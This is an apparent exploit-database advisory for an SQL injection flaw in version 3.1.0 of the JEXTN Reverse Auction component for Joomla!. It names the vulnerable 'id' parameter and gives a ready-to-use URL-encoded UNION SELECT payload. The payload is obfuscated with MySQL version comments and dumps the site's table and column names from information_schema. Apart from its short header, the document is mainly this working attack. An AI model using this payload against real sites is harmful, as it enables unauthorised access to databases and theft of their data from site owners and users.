Joomla! JEXTN Reverse Auction 3.1.0 SQL Injection

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# Exploit Title: Joomla! Component JEXTN Reverse Auction 3.1.0 - SQL Injection  
# Dork: N/A  
# Date: 01.02.2018  
# Vendor Homepage: http://jextn.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/auction/jextn-reverse-auction/  
# Version: 3.1.0  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
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# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
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# Description:  
# The vulnerability allows an attacker to inject sql commands....  
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# Proof of Concept:   
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# 1)  
# http://localhost/[PATH]/index.php?option=com_jereverseauction&view=products&layout=default_message&tmpl=component&id=[SQL]&uid=1  
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# %2d%31%20%20%2f%2a%21%30%38%38%38%38%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%38%38%38%38%53%45%4c%45%43%54%2a%2f%20%30%78%33%31%2c%30%78%33%32%2c%30%78%33%33%2c%30%78%33%34%2c%30%78%33%35%2c%28%53%65%6c%65%63%74%20%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%3a%3d%30%2c%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%66%72%6f%6d%28%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%29%77%68%65%72%65%40%3a%3d%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%65%78%70%6f%72%74%5f%73%65%74%28%35%2c%40%2c%74%61%62%6c%65%5f%6e%61%6d%65%2c%30%78%33%63%36%63%36%39%33%65%2c%32%29%2c%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2c%30%78%61%33%61%2c%32%29%29%2c%40%2c%32%29%29%2d%2d%20%2d  
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